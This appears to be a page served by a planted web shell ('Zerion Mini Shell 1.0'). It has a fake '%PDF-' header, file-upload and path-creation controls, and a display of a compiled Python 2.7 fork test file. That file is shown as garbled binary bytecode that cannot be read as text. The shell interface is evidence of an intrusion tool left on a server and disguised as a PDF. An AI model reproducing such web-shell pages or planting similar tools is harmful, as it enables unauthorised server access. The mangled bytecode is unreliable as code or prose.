%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/test_fork1.pyo

ó
Nêáac@sÆdZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZmZedƒZ
eedƒdefd„ƒYZd	„Zed
krÂeƒndS(s.This test checks for correct fork() behavior.
iÿÿÿÿN(tForkWait(trun_unittestt
reap_childrent
get_attributet
import_modulet	threadingtforktForkTestcBseZd„Zd„ZRS(cCsˆxLtdƒD]>}tj|tjƒ\}}||kr>Pntjdƒq
W|j||ƒ|j|dd|d@|d?fƒdS(Ni
gð?iscause = %d, exit = %diÿi(trangetostwaitpidtWNOHANGttimetsleeptassertEqual(tselftcpidtitspidtstatus((s+/usr/local/lib/python2.7/test/test_fork1.pyt	wait_implscsôtjƒ‰d‰d‰d‰‡‡‡‡fd†}tjd|ƒ}|jƒˆjƒtjƒ}zY|s©tˆƒ}|ˆkr™tjdƒqÀtjdƒn|j	ƒ|j
|ƒWdytj|tj
ƒWntk
rînXXdS(Nsfake test moduletpartialtcompletecsItjƒˆtjˆ<ˆjƒtjdƒˆtjˆ<tjƒdS(Ng{®Gáz„?(timptacquire_locktsystmodulestsetRR
trelease_lock((tcomplete_moduletfake_module_nametimport_startedtpartial_module(s+/usr/local/lib/python2.7/test/test_fork1.pytimporter$s




ttargetii(RtEventtThreadtstarttwaitR	Rt
__import__t_exittjoinRtkilltsignaltSIGKILLtOSError(RR!tttpidtm((RRRR s+/usr/local/lib/python2.7/test/test_fork1.pyttest_import_lock_forks*



(t__name__t
__module__RR1(((s+/usr/local/lib/python2.7/test/test_fork1.pyRs	cCsttƒtƒdS(N(RRR(((s+/usr/local/lib/python2.7/test/test_fork1.pyt	test_mainBs
t__main__(t__doc__RR	R+RRttest.fork_waitRttest.test_supportRRRRRRR4R2(((s+/usr/local/lib/python2.7/test/test_fork1.pyt<module>s"
0	

Zerion Mini Shell 1.0